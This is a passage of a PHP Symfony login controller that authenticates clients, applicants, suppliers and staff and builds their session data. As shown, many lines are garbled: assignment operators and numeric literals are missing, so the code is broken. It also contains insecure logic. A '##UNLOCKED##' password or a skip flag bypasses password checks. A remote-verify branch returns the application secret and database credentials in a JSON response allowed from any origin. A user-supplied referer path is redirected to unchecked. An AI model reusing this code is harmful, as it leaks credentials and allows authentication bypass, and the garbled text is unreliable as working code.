  2032.                                 //pass ok proceed
  2033.                             } else {
  2034.                                 if ($skipPassword == 1) {
  2035.                                 } else {
  2036.                                     $message "Wrong Email/Password";
  2037.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2038.                                         return new JsonResponse(array(
  2039.                                             'uid' => $session->get(UserConstants::USER_ID),
  2040.                                             'session' => $session,
  2041.                                             'success' => false,
  2042.                                             'errorStr' => $message,
  2043.                                             'session_data' => [],
  2044.                                         ));
  2045.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2046.                                         //                    return $response;
  2047.                                     }
  2048.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2049.                                         "message" => $message,
  2050.                                         'page_title' => "Login",
  2051.                                         'gocList' => $gocDataList,
  2052.                                         'gocId' => $gocId
  2053.                                     ));
  2054.                                 }
  2055.                             }
  2056.                             $jd = [$client->getCompanyId()];
  2057.                             if ($jd != null && $jd != '' && $jd != [])
  2058.                                 $company_id_list $jd;
  2059.                             else
  2060.                                 $company_id_list = [1];
  2061.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2062.                             foreach ($company_id_list as $c) {
  2063.                                 $company_name_list[$c] = $companyList[$c]['name'];
  2064.                                 $company_image_list[$c] = $companyList[$c]['image'];
  2065.                             }
  2066.                             $user $client;
  2067.                         }
  2068.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  2069.                         $em $this->getDoctrine()->getManager('company_group');
  2070.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  2071.                         if ($oAuthData) {
  2072.                             $oAuthEmail $oAuthData['email'];
  2073.                             $oAuthUniqueId $oAuthData['uniqueId'];
  2074.                             // Multi-email aware, injection-safe existence check. Replaces a
  2075.                             // hand-rolled comma-LIKE that both false-matched substrings
  2076.                             // (`LIKE '%email%'`) and interpolated the email straight into SQL.
  2077.                             $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthEmail);
  2078.                             if (!$user)
  2079.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  2080.                         } else {
  2081.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  2082.                             if (!$user)
  2083.                                 $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$email);
  2084.                             if (!$user)
  2085.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  2086.                         }
  2087.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  2088. //                        if($systemType=='_BUDDYBEE_')
  2089. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  2090.                         if (!$user) {
  2091.                             $message "We could not find your username or email";
  2092.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2093.                                 return new JsonResponse(array(
  2094.                                     'uid' => $session->get(UserConstants::USER_ID),
  2095.                                     'session' => $session,
  2096.                                     'success' => false,
  2097.                                     'errorStr' => $message,
  2098.                                     'session_data' => [],
  2099.                                 ));
  2100.                             }
  2101.                             if ($systemType == '_BUDDYBEE_')
  2102.                                 return $this->redirectToRoute("applicant_login", [
  2103.                                     "message" => $message,
  2104.                                     "errorField" => 'username',
  2105.                                 ]);
  2106.                             else if ($systemType == '_CENTRAL_')
  2107.                                 return $this->redirectToRoute("central_login", [
  2108.                                     "message" => $message,
  2109.                                     "errorField" => 'username',
  2110.                                 ]);
  2111.                             else if ($systemType == '_SOPHIA_')
  2112.                                 return $this->redirectToRoute("sophia_login", [
  2113.                                     "message" => $message,
  2114.                                     "errorField" => 'username',
  2115.                                 ]);
  2116.                             else
  2117.                                 return $this->render($redirect_login_page_twig, array(
  2118.                                     "message" => $message,
  2119.                                     'page_title' => "Login",
  2120.                                     'gocList' => $gocDataList,
  2121.                                     'gocId' => $gocId
  2122.                                 ));
  2123.                         }
  2124.                         if ($user) {
  2125.                             if ($oAuthData) {
  2126.                                 // user passed
  2127.                             } else {
  2128.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2129.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2130. //                                    if ($user->getPassword() == $request->request->get('password')) {
  2131. //                                        // user passed
  2132. //                                    } else {
  2133.                                     $message "Oops! Wrong Password";
  2134.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  2135.                                         return new JsonResponse(array(
  2136.                                             'uid' => $session->get(UserConstants::USER_ID),
  2137.                                             'session' => $session,
  2138.                                             'success' => false,
  2139.                                             'errorStr' => $message,
  2140.                                             'session_data' => [],
  2141.                                         ));
  2142.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2143.                                         //                    return $response;
  2144.                                     }
  2145.                                     if ($systemType == '_BUDDYBEE_')
  2146.                                         return $this->redirectToRoute("applicant_login", [
  2147.                                             "message" => $message,
  2148.                                             "errorField" => 'password',
  2149.                                         ]);
  2150.                                     else if ($systemType == '_CENTRAL_')
  2151.                                         return $this->redirectToRoute("central_login", [
  2152.                                             "message" => $message,
  2153.                                             "errorField" => 'username',
  2154.                                         ]);
  2155.                                     else if ($systemType == '_SOPHIA_')
  2156.                                         return $this->redirectToRoute("sophia_login", [
  2157.                                             "message" => $message,
  2158.                                             "errorField" => 'username',
  2159.                                         ]);
  2160.                                     else
  2161.                                         return $this->render($redirect_login_page_twig, array(
  2162.                                             "message" => $message,
  2163.                                             'page_title' => "Login",
  2164.                                             'gocList' => $gocDataList,
  2165.                                             'gocId' => $gocId
  2166.                                         ));
  2167.                                 }
  2168.                             }
  2169.                         }
  2170.                         $jd = [];
  2171.                         if ($jd != null && $jd != '' && $jd != [])
  2172.                             $company_id_list $jd;
  2173.                         else
  2174.                             $company_id_list = [];
  2175. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2176. //                        foreach ($company_id_list as $c) {
  2177. //                            $company_name_list[$c] = $companyList[$c]['name'];
  2178. //                            $company_image_list[$c] = $companyList[$c]['image'];
  2179. //                        }
  2180.                     };
  2181.                 } else {
  2182.                     if ($cookieLogin == 1) {
  2183.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2184.                             array(
  2185.                                 'userId' => $userId
  2186.                             )
  2187.                         );
  2188.                     } else if ($encrypedLogin == 1) {
  2189.                         if (in_array($userType, [34]))
  2190.                             $specialLogin 1;
  2191.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2192.                             $user null;
  2193.                             if ($clientId 0) {
  2194.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2195.                                     array(
  2196.                                         'clientId' => $clientId
  2197.                                     )
  2198.                                 );
  2199.                             }
  2200.                             if (!$user) {
  2201.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2202.                                     array(
  2203.                                         'globalUserId' => $globalId
  2204.                                     )
  2205.                                 );
  2206.                             }
  2207. //
  2208.                             if ($user)
  2209.                                 $userId $user->getClientId();
  2210.                             $clientId $userId;
  2211.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2212.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  2213.                                 array(
  2214.                                     'globalUserId' => $globalId
  2215.                                 )
  2216.                             );
  2217. //
  2218.                             if ($user)
  2219.                                 $userId $user->getSupplierId();
  2220.                             $supplierId $userId;
  2221.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2222. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  2223. //                                array(
  2224. //                                    'globalId' => $globalId
  2225. //                                )
  2226. //                            );
  2227. //
  2228. //                            if($user)
  2229. //                                $userId=$user->getUserId();
  2230. //                            $applicantId = $userId;
  2231.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  2232.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2233.                                 array(
  2234.                                     'globalId' => $globalId
  2235.                                 )
  2236.                             );
  2237.                             if ($user)
  2238.                                 $userId $user->getUserId();
  2239.                         }
  2240.                     } else {
  2241.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2242.                             array(
  2243.                                 'userName' => $request->request->get('username')
  2244.                             )
  2245.                         );
  2246.                     }
  2247.                     if (!$user) {
  2248.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2249.                             array(
  2250.                                 'email' => $request->request->get('username'),
  2251.                                 'userName' => [null'']
  2252.                             )
  2253.                         );
  2254.                         if (!$user) {
  2255.                             $message "Wrong User Name";
  2256.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2257.                                 return new JsonResponse(array(
  2258.                                     'uid' => $session->get(UserConstants::USER_ID),
  2259.                                     'session' => $session,
  2260.                                     'success' => false,
  2261.                                     'errorStr' => $message,
  2262.                                     'session_data' => [],
  2263.                                 ));
  2264.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2265.                                 //                    return $response;
  2266.                             }
  2267.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2268.                                 "message" => $message,
  2269.                                 'page_title' => "Login",
  2270.                                 'gocList' => $gocDataList,
  2271.                                 'gocId' => $gocId
  2272.                             ));
  2273.                         } else {
  2274.                             //add the email as username as failsafe
  2275.                             $user->setUserName($request->request->get('username'));
  2276.                             $em->flush();
  2277.                         }
  2278.                     }
  2279.                     if ($user) {
  2280.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  2281.                             $message "Sorry, Your Account is Deactivated";
  2282.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  2283.                                 return new JsonResponse(array(
  2284.                                     'uid' => $session->get(UserConstants::USER_ID),
  2285.                                     'session' => $session,
  2286.                                     'success' => false,
  2287.                                     'errorStr' => $message,
  2288.                                     'session_data' => [],
  2289.                                 ));
  2290.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2291.                                 //                    return $response;
  2292.                             }
  2293.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2294.                                 "message" => $message,
  2295.                                 'page_title' => "Login",
  2296.                                 'gocList' => $gocDataList,
  2297.                                 'gocId' => $gocId
  2298.                             ));
  2299.                         }
  2300.                     }
  2301.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2302.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2303.                         $message "Wrong Email/Password";
  2304.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2305.                             return new JsonResponse(array(
  2306.                                 'uid' => $session->get(UserConstants::USER_ID),
  2307.                                 'session' => $session,
  2308.                                 'success' => false,
  2309.                                 'errorStr' => $message,
  2310.                                 'session_data' => [],
  2311.                             ));
  2312.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2313.                             //                    return $response;
  2314.                         }
  2315.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2316.                             "message" => $message,
  2317.                             'page_title' => "Login",
  2318.                             'gocList' => $gocDataList,
  2319.                             'gocId' => $gocId
  2320.                         ));
  2321.                     }
  2322.                     $userType $user->getUserType();
  2323.                     $jd json_decode($user->getUserCompanyIdList(), true);
  2324.                     if ($jd != null && $jd != '' && $jd != [])
  2325.                         $company_id_list $jd;
  2326.                     else
  2327.                         $company_id_list = [$user->getUserCompanyId()];
  2328.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2329.                     foreach ($company_id_list as $c) {
  2330.                         if (isset($companyList[$c])) {
  2331.                             $company_name_list[$c] = $companyList[$c]['name'];
  2332.                             $company_image_list[$c] = $companyList[$c]['image'];
  2333.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  2334.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  2335.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  2336.                         }
  2337.                     }
  2338.                 }
  2339. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  2340.                 if ($remember_me == 1)
  2341.                     $session->set('REMEMBERME'1);
  2342.                 else
  2343.                     $session->set('REMEMBERME'0);
  2344.                 $config = array(
  2345.                     'firstLogin' => $firstLogin,
  2346.                     'rememberMe' => $remember_me,
  2347.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2348.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  2349.                     'applicationSecret' => $this->container->getParameter('secret'),
  2350.                     'gocId' => $gocId,
  2351.                     'appId' => $appIdFromUserName,
  2352.                     'gocDbName' => $gocDbName,
  2353.                     'gocDbUser' => $gocDbUser,
  2354.                     'gocDbHost' => $gocDbHost,
  2355.                     'gocDbPass' => $gocDbPass
  2356.                 );
  2357.                 $product_name_display_type 0;
  2358.                 if ($systemType != '_CENTRAL_') {
  2359.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  2360.                         'name' => 'product_name_display_method'
  2361.                     ));
  2362.                     if ($product_name_display_settings)
  2363.                         $product_name_display_type $product_name_display_settings->getData();
  2364.                 }
  2365.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2366.                     $userCompanyId 1;
  2367.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2368.                     if (isset($companyList[$userCompanyId])) {
  2369.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2370.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2371.                         $company_locale $companyList[$userCompanyId]['locale'];
  2372.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2373.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2374.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2375.                     }
  2376.                     // General User
  2377.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  2378.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2379.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  2380.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  2381.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2382.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2383.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  2384.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2385.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2386.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2387.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2388.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2389.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2390.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2391.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2392.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2393.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2394.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2395.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2396.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2397.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2398.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2399.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2400.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2401.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2402.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2403.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2404.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2405.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2406.                     //                $PL=json_decode($user->getPositionIds(), true);
  2407.                     $route_list_array = [];
  2408.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2409.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2410.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2411.                     $loginID 0;
  2412.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2413.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2414.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2415.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2416.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2417.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2418.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2419.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2420.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2421.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2422.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2423.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2424.                         $session->set('remoteVerified'1);
  2425.                         $session_data = array(
  2426.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2427.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2428.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2429.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2430.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2431.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2432.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2433.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2434.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2435.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2436.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2437.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2438.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2439.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2440.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2441.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2442.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2443.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2444.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2445.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2446.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2447.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2448.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2449.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2450.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2451.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2452.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2453.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2454.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2455.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2456.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2457.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2458.                         );
  2459.                         $session_data $this->filterClientSessionData($session_data);
  2460.                         $response = new JsonResponse(array(
  2461.                             'uid' => $session->get(UserConstants::USER_ID),
  2462.                             'session' => $session,
  2463.                             'success' => true,
  2464.                             'session_data' => $session_data,
  2465.                         ));
  2466.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2467.                         return $response;
  2468.                     }
  2469.                     if ($request->request->has('referer_path')) {
  2470.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2471.                             return $this->redirect($request->request->get('referer_path'));
  2472.                         }
  2473.                     }
  2474.                     //                    if($request->request->has('gocId')
  2475.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2476.                     return $this->redirectToRoute("supplier_dashboard");
  2477.                     //                    else
  2478.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2479.                 } else if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2480.                     // General User
  2481.                     $userCompanyId 1;
  2482.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2483.                     if (isset($companyList[$userCompanyId])) {
  2484.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2485.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2486.                         $company_locale $companyList[$userCompanyId]['locale'];
  2487.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2488.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2489.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2490.                     }
  2491.                     $session->set(UserConstants::USER_ID$user->getClientId());
  2492.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2493.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  2494.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  2495.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2496.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2497.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  2498.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2499.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2500.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2501.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2502.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2503.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2504.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2505.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2506.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2507.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2508.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2509.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2510.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2511.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2512.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2513.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2514.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2515.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2516.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2517.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2518.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2519.                     //                $PL=json_decode($user->getPositionIds(), true);
  2520.                     $route_list_array = [];
  2521.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2522.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2523.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2524.                     $loginID 0;
  2525.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2526.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2527.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2528.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2529.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2530.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2531.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2532.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2533.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2534.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2535.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2536.                     $session_data = array(
  2537.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2538.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2539.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2540.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2541.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2542.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2543.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2544.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2545.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2546.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2547.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2548.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2549.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2550.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2551.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2552.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2553.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2554.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2555.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2556.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2557.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2558.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2559.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2560.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2561.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2562.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2563.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2564.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2565.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2566.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2567.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2568.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
